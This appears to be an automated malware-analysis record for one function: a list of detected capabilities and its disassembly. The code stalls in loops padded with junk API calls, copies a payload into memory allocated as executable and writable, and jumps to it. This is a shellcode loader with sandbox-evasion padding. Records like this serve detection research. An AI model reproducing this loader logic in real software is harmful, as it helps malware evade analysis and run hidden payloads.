Function at 0x4031f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get file attributes
Get hostname
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x48b3f8
push eax
mov dword fs:[0], esp
sub esp, 0x828
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor ebx, ebx
xor esi, esi
jmp 0x403220
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
call edi
cmp esi, 0xb7e4ee2
jg 0x40323a
inc esi
cmp esi, 0x73f04bd
jl 0x403220
cmp dword [0x495dec], 0x400
jne 0x4032f2
push ebx
lea eax, [ebp - 0x834]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
push ebx
push ebx
push ebx
lea ecx, [ebp - 0x10]
push ecx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_BackupWrite]
xor edx, edx
mov dword [ebp - 0x1c], 7
mov dword [ebp - 0x20], ebx
mov word [ebp - 0x30], dx
push ebx
push ebx
mov dword [ebp - 4], ebx
call fcn.004038e4
push ebx
call fcn.00403bb2
add esp, 0xc
push ebx
push ebx
push ebx
call fcn.0040401c
add esp, 0xc
push ebx
call fcn.00403f24
add esp, 4
push ebx
call fcn.00404118
push ecx
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00403c30
fstp st(0)
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
sub esp, 8
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.004038d0
fstp st(0)
add esp, 0x10
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x1c], 8
jb 0x4032f2
mov eax, dword [ebp - 0x30]
push eax
call fcn.00403d7c
add esp, 4
cmp dword [0x495dec], 0x93
jne 0x40333b
xor ecx, ecx
lock bts dword [ecx], 0
push 0x4025d4
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push ebx
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push ebx
push ebx
call fcn.00403c60
push ebx
call fcn.00403c0e
add esp, 0xc
push ebx
call fcn.00403c24
add esp, 4
call fcn.004031e0
mov eax, dword [0x495dec]
mov ecx, dword [0x490f04]
push 0x40
add eax, 0x1134b
push 0x1000
push eax
push ebx
mov dword [0x496c28], ecx
mov dword [0x495dec], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x49587c], eax
mov esi, 0x1692e
nop
push ebx
call edi
sub esi, 1
jne 0x403370
cmp dword [0x495dec], ebx
jbe 0x4033d5
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
jmp 0x403390
mov edx, dword [0x496c28]
mov al, byte [edx + esi + 0x1134b]
mov ecx, dword [0x49587c]
mov byte [ecx + esi], al
cmp dword [0x495dec], 0x490
jne 0x4033cc
push ebx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea edx, [ebp - 0x10]
push edx
push ebx
lea eax, [ebp - 0x2c]
push eax
push ebx
call edi
inc esi
cmp esi, dword [0x495dec]
jb 0x403390
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringA]
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
xor esi, esi
mov ecx, dword [0x495dec]
add ecx, esi
cmp ecx, 0x8d
jne 0x403424
push 0
lea edx, [ebp - 0x434]
push edx
push 0
push 0
push 0
push 0
call edi
push 0
lea eax, [ebp - 0x10]
push eax
call ebx
lea ecx, [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventW]
inc esi
cmp esi, 0x38681
jl 0x4033e3
call fcn.00403150
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edi, edi
xor esi, esi
lea esp, [esp]
cmp esi, 0xfa62c8f
jge 0x40344a
call ebx
cmp esi, 0x207142
jg 0x40345b
inc esi
cmp esi, 0x67d12
jl 0x403440
xor esi, esi
lea ecx, [ecx]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x40347e
mov dword [ebp - 0x10], edi
add dword [ebp - 0x10], 0
mov edx, dword [ebp - 0x10]
add dword [0x49587c], edx
inc esi
cmp esi, 0x674bd
jl 0x403460
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
mov dword [ebp - 0x10], 0x7b
cmp dword [0x495dec], 0x86
jne 0x4034d5
push 0
call esi
push 0
lea eax, [ebp - 0x834]
push eax
push 0
call edi
push 0
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
cmp dword [0x495dec], 0xf
jne 0x4034e8
lea ecx, [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
sub dword [ebp - 0x10], 1
jne 0x4034a0
push 0x4025e4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x49587c]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret